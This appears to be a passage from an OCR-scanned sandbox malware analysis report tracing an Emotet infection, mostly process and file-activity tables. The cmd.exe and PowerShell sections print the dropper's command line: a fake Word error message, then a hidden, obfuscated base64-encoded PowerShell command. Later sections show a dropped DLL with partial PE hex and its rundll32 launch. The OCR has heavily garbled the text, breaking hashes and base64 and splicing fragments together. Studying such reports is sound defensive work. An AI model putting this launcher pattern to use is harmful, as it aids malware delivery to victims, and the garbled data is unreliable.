00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Completion

success or wait

success or wait

Count Address

Count Address

1

1

1

Source
Symbol

Source
Symbol

7TFEE9449ACO unknown

7TFEE9449ACO0 unknown

7FEE9449ACO0 unknown
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Key Path

Copyright null 2021

Name

Type

00 00 00 00 00 00 00 00 00 00
2AcPB QR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
RRACHRH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
21D 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF FF
FF FF

00 00 00 00 00 00 00 00 00 00
fR@R0DHH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 FF FF FF FF

Completion

Source

Count Address Symbol

Analysis Process: cmd.exe PID: 2376 Parent PID: 1220

General

Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Copyright null 2021

08:21:38

25/01/2021
C:\Windows\System32\cmd.exe
false

cmd cmd /c m"s"g %username% /v Word exp”erien”ced an er*ror tryi*ng to op”en th”e fi*le.
& prowe”rs*heNIN -w hirdd”en -“e”nc cwWBFAFQALQBpPAFQAZQBtACAAIAB2AE
EAUgBJAEEAQYBSAGUAOgAOAFAAAQBXACAAIAAOAFSAVABSAHAARQBIACYAIg
B7ADAAfQB7ADIAfQB7ADQAfQB7ADEAfQB7ADMAFQAIACAALQBMACAAIWBTAC
CALAANAHIAZQBJAHQAIWASACCAWQBZzAFQAIWASACCAbWBYAHKAJWASACCAZQ
BtAC4AaQBVAC4AZABPACCAKQAPACAAIAATACAAIABZAEUAVAALAGKAJABIAE
OAIAB2AGEACgBpAEEAQYBSAGUAOgAZAFCAdgAgACAAKAAGAFSAdABZAFAAZQ
BdACgAIgB7ADQAfQB7ADIAfQB7ADUAQB7ADEAfQB7ADAAQB7ADCATQB7AD
MAfQB7ADYAfQAIACOARgAJACCAVYBPAGMAIWASACCAUWBIAFIAJWASACCAVA
BFAEOAJWASACCAQQANACWAIWBTAHKACWANACWAIWAUAGAAZQBOACAAIWASAC
cAbgBhAGCcAZQBYACCALAANAGUACABPAEKAbgBUAGOAIWAPACAAKQAGADSAJA
BYAGWAegBpAGBAOQBJADOAJABQADJANQBSACAAKWAGAFSAYWBOAGEACgBAAC
gAMWAZACKAIAATACAAJABRADYAOABJADSAJABMADIAOQBIADOAKAAOACCASW
ANACSAIWAWADCAIWAPACSAIWBAACCAKQA7ACAAKAAGAFYAYQBYAGKAQQBIAE
WAZQAJACAANABQAFUAJWAJACAALQBWAGEADABVAGUAbBWBOAGWAIAAgGACKAOgG
ABACIAQWBJAFIARQBhAHQAZQBEAGKAcgBFAGMAJABPAGAAUGB5ACIAKAAKAE
gATWBNAEUAIAArACAAKAACACYAIWBLAHEAIWArACCAMgBOAGQAJIWAPACSAIW
BjAHOAJWArACgAJWBXACCAKWANAHKAYgB1ACCAKQArACgAJWBXACCAKWANAD
IASAANACSAIJWBhAGYAMABfAHKAbgANACKAKWAOACCAdQBXACCAKWANADIAIW
ApPACKAIAAtAHIARQBWAGWAY QBDAGUAKAANAHUAJIWAIACCACQAYACCAKQASAF QANACSAIWBMADAAIWAPAC QANACSAIWBSACAAYWANACKAKWANAGBADQ
AnACsAJWAVACCAKWANAHCACAANACSAIWAIAGMAJIWArACgAIJWBVAGAAdABIAG
4AdAANACSAIWAVACCAKWANAHQAIWArACcAOQBOAFYAJWAPACSAIWBWAGKAIw
ArACcAQUANACSAKAANAGQAZQAVACEAIWArACcAeAAgAFSAIJWAPACSAIWAgAH
MAJWArACgAIJWBOACAAY gABACBALWANACSAIWBOAHIAIWATACCAY QANACSAIW
BUAHMAY QBSACCAKQAIrACgAIWAUACCAKWANAGUAJQAVACCAKQArACCcAbgBIAC
CcAKWAOACCAdABNACCAKWANAGUAY QBYACCAKQArACgAJWAtAHCAaQANACSAIwWoo "“Page 42 of 54



KAKWANAHIAJWAIACGAIWBUAGKAJWATALCADUYBIACBAY WBLAGWAZLYANALSAIW ANAA2AEImagebase: 0x4a9a0000

File size: 345088 bytes

MDS5 hash: 5746BD7E255DD6A8BAFA06F7C42C1BA41
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: msg.exe PID: 2576 Parent PID: 2376

General

Start time: 08:21:39

Start date: 25/01/2021

Path: C:\Windows\System32\msg.exe

Wow64 process (32bit): false

Commandline: msg user /v Word experienced an error trying to open the file.
Imagebase: 0xff150000

File size: 26112 bytes

MDS5 hash: 2214979661E779C3E3C33D4F14E6F3AC
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: powershell.exe PID: 2488 Parent PID: 2376

General

Start time: 08:21:39

Start date: 25/01/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): false
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Commandline: powershell -w hidden -enc cwBFAFQALQBpPAFQAZQBtACAAIAB2AEEAUgBJIAEEA
QyBSAGUAOgAOAFAAJQBXACAAIAACAFSAVABSAHAARQBIACYAIgB7ADAATQB7
ADIAfQB7ADQAFQB7ADEAfQB7ADMAfQAIACAALQBMACAAIWBTACCALAANAHIA
ZQBjAHQAIWASACCAWQBzAFQAJWASACCAbwBYAHKAIWASACCAZQBIAC4AaQBY
AC4AZABpACCAKQAPACAAIAATACAAIABZAEUAVAAIAGKAJABIAEOAIAB2AGEA
cgBpAEEAQYBSAGUAOQGAZAFCAdgAgACAAKAAGAFSAdABZAFAAZQBAACgGAIgB7
ADQAfQB7ADIAfQB7ADUAQB7ADEAfQB7ADAAQB7ADCAfQB7ADMAFQB7ADYA
fQAIACOARGAJACCAVYBPAGMAIWASACCAUWBIAFIAJWASACCAVABFAEOAIWAS
ACCAQQANACWAIWBTAHKACWANACWAIWAUAGAAZQBOACAAIWASACCAbgBhAGCA
ZQBYACCALAANAGUACABPAEKAbgBUAGOAJWAPACAAKQAGADSAJABYAGWAegBp
AGBAOQBJADOAJABQADJANQBSACAAKWAGAFSAYWBOAGEACgBAACJAMWAZACKA
IAATACAAJABRADYAOABJADSAJABMADIAOQBIADOAKAAOACCASWANACSAIWAW
ADCAIWAPACSAIWBaACCAKQA7TACAAKAAGAFYAY QBYAGKAQQBIAEWAZQAGACAA QANACSAIWBMADAAIWAPACSAIWBFAHKA QANACSAIWBSACAAYWANACKAKWANAGBABQANACSAJWAV
ACCAKWANAHCACAANACSAIWAIAGMAIWAIACJAIWBVAGAAdABIAGAAdAANACSA
JWAVACCAKWANAHQAJIWArACCcAOQBOAFYAJWAPACSAIWBWAGKAIWArACCAQgGAN
ACsAKAANAGQAZQAVACEAIWArACcAeAAgAFsSAIWAPACSAIWAGAHMAIWArACgA
JWBOACAAYgABACBALWANACSAIWBOAHIAJWArACCAY QANACSAIWBUAHMAYQBsCopyright null 2021 Page 44 of 54



Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path
C:\Users\user\Ndczqyb

C:\Users\user\Ndczqyb\Haf0_yn

C:\Users\user\Ndczqgyb\Haf0_yn\P44G.dlI

File Deleted

File Path

C:\Users\user\Ndczgyb\Haf0_yn\P44G.dlI

Old File Path

File Written

File Path

Copyright null 2021

0x13f650000

473600 bytes
852D67A27E454BD389FA7TF02A8CBE23F

true

true

Net C# or VB.NET

high

Access Attributes

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read attributes | device
synchronize |
generic write

New File Path

Offset Length Value

Source
Options Completion Count Address Symbol
directory file |  success or wait 1 7FEEBAABECTY CreateDirectory\W
synchronous io
non alert | open
for backup ident
| open reparse
point
directory file |  success or wait 1 7FEEBAABECTY CreateDirectory\W
synchronous io
non alert | open
for backup ident
| open reparse
point
synchronous io  success or wait 2 7FEEBAABECTY CreateFileW
non alert | non
directory file |
open no recall
Source
Completion Count Address Symbol
success or wait 1 7FEESAABECT7 DeleteFilewW
Source
Completion Count Address Symbol
Source
Ascii Completion Count Address Symbol
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File Path
C:\Users\user\Ndczqyb\Haf0_yn\P44G.dIl

C:\Users\user\Ndczqyb\Haf0_yn\P44G.dIl

Copyright null 2021

Offset Length Value Ascii

unknown 4096

unknown 4096

4d 5290 00 0300 00 MZ......ccooevueueee Q@.....
00 04 00 00 00 ff ff
00 00 b8 00 00 00 00 . .1..L.IThis program
00 00 00 40 00 00 00 cannot be run in DOS

00 00 00 00 00 00 00 mode....

00 00 00 00 0000 00 $....... PE..L...F.".
00 00 00 00 00 00 00
00 00 00 00 00 00 00 .
00 00 00 00 80 00 00 .
00 Oe 1f ba Oe 00 b4
09 cd 21 b8 01 4c cd
21546869 73 20 70
72 6f 67 72 61 6d 20
63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20
69 6e 20 44 4f 53 20
6d 6f 64 65 2e 0d 0d
0a 24 00 00 00 00 00
00 00 50 45 00 00 4c
01 09 00 8f 46 Ob 60
00 00 00 00 00 00 00
00 €0 00 Oe 21 Ob 01
02 32 00 40 00 00 00
d2 04 00 00 00 00 00
50 19 00 00 00 10 00
00 00 50 00 00 00 00
00 10 00 10 00 00 00
02 00 00 03 00 00 00
00 00 00 00 04 00 00
00 00 00 00 00 00 90
05 00 00 04 00 00 d1
05 06 00 02 00 00 00
00 00 10 00 00 10 00
00 00 00 10 00 00 10
00 00 00 00 00 00 10
00 00 00 00 00 00 00
00 00 00

1050ff15¢46100 .P..a..0.Q..a.k....
108b 0d 306000 10 ..E.*...E*..E*. . E*..
51ff15¢c4610010 E.*..E*.E*..E*. E.
e96bfeffffeg 11fd *..E*..E*. . E*..E*
ffffc7 4518 2a16 00 ...E*..E*..E*. .E*..
00c745f82a16 00 .E*..E*..E*.E*..E
00c745f82a1600 .*..E*. .E*..E*..E*
00c745f82a1600 ...E*..E*.E*..E*.
00c745f82a16 00 ..E*..E*..

00 c7 45 f8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 8 2a 16 00

00 c7 45 8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 8 2a 16 00

00 c7 45 8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 8 2a 16 00

00 c7 45 8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 f8 2a 16 00

00 c7 45 8 2a 16 00

00 c7 45 8 2a 16 00

00

Completion

success or wait

success or wait

Source

Count Address Symbol

8

40

7TFEESAABEC7 WriteFile

7TFEESAABEC7 WriteFile
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\Ndczqyb\Haf0_yn\P44G.dIl unknown 2432 5860 8aefflacecd X'.....c.t.Aic...|.A..v...- success or wait 1 7FEEBAABEC7 WriteFile
8763188e74ch84 . iQ.N..)o.y..2cS...).
87 41 69 63 81 bc 6 Q...
Ifaa7cd7cl4lce .lL...D."*T.>Itt..2r
adab768b2080d4 ..Z.P.v.f..... LL...#]
2d 9507 8dc7 f50b W.&z.# T.8*b.....S...D...
17 1e 9ae5d6 99 69 Y.vd[..R.f..?D..dn..."P..
51 c7 4e a6 9d 29 6f ......... )=EV.xg.[ A
e779930d 326353 9.70N...<..1.~.
ae cc c6 29 8a 20 c1
60 c6 f2 02 2c c4 f9
c822dff9 27 82 a1l
8351 c2bcc9821la
21 84 b2 97 bc d4 af
44 1c 96 82 22 95 2a
85 54 ae f1 fd 3e 49
74 74 fc 8e ae 3fab
72 f4 c3 5a 01 aa 50
a5 8b 76 95 1b 66 eb
ef da df 94 2e d9 1a
eb 4c 27 7d 4c 05 7
8 23 5d ¢4 57 c8 26
05 7a fc 81 23 5f 54
09 38 2a 62 d5 aa ca
df ed cf 53 ab 1f f6
44 9c d5 99 59 c5 56
64 5b f7 8e 52 0f 66
fc 98 3f 44 06 13 64
6e e9 el 15 60 50 a5
bl ec cf b8 e8 c9 Ob
be ¢5 84 f7 dd Oa 9d
da bc 29 6¢ 3d 56 ed
bf 78 67 b6 5b c8 5e
14 1c b9 af 84 2d 77
a2 f7 39 95 37 6f 4e
7f 1c c6 3c 04 d6 31

c5 7e ef
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEE8915208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEE8915208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEBA3A287 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 success or wait 4 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 781 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEEBAABEC7 ReadFile
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Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEESBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEESBAABEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait 1 7FEE8A069DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait 1 7FEE8A069DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEEBAABEC7 ReadFile
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 4096 success or wait 1 7FEE8A069DF unknown
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 512 success or wait 1 7FEE8A069DF unknown
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 960 Parent PID: 2488
General
Start time: 08:21:44
Start date: 25/01/2021
Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Ndczqyb\Haf0_yn\P44G.dIl AnyString
0xffc00000

45568 bytes

DD81D91FF3B0763C392422865C9AC12E

true

true

C, C++ or other language

Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\Ndczgyb\Haf0_yn\P44G.dlI unknown 64 success or wait 1 FFC027D0 ReadFile
C:\Users\user\Ndczgyb\Haf0_yn\P44G.dlI unknown 264 success or wait 1 FFC0281C ReadFile
Analysis Process: rundll32.exe PID: 2884 Parent PID: 960
General
Start time: 08:21:44
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Ndczqyb\Haf0_yn\P44G.dlIl AnyString
0x6e0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

Page 48 of 54



Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2108297042.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2104940723.0000000000190000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2104991832.00000000001B0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 440 Parent PID: 2884
General
Start time: 08:21:48
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Ndczqyb\Haf0_yn\P44G.dIlI'#1
0x6e0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2117125447.0000000000170000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2118447591.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2117147382.0000000000210000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 912 Parent PID: 440
General
Start time: 08:21:54
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wkjjpdgip\vecwkqdb.lyo',YW
TgmybfjbBtvDQ

0x6e0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language
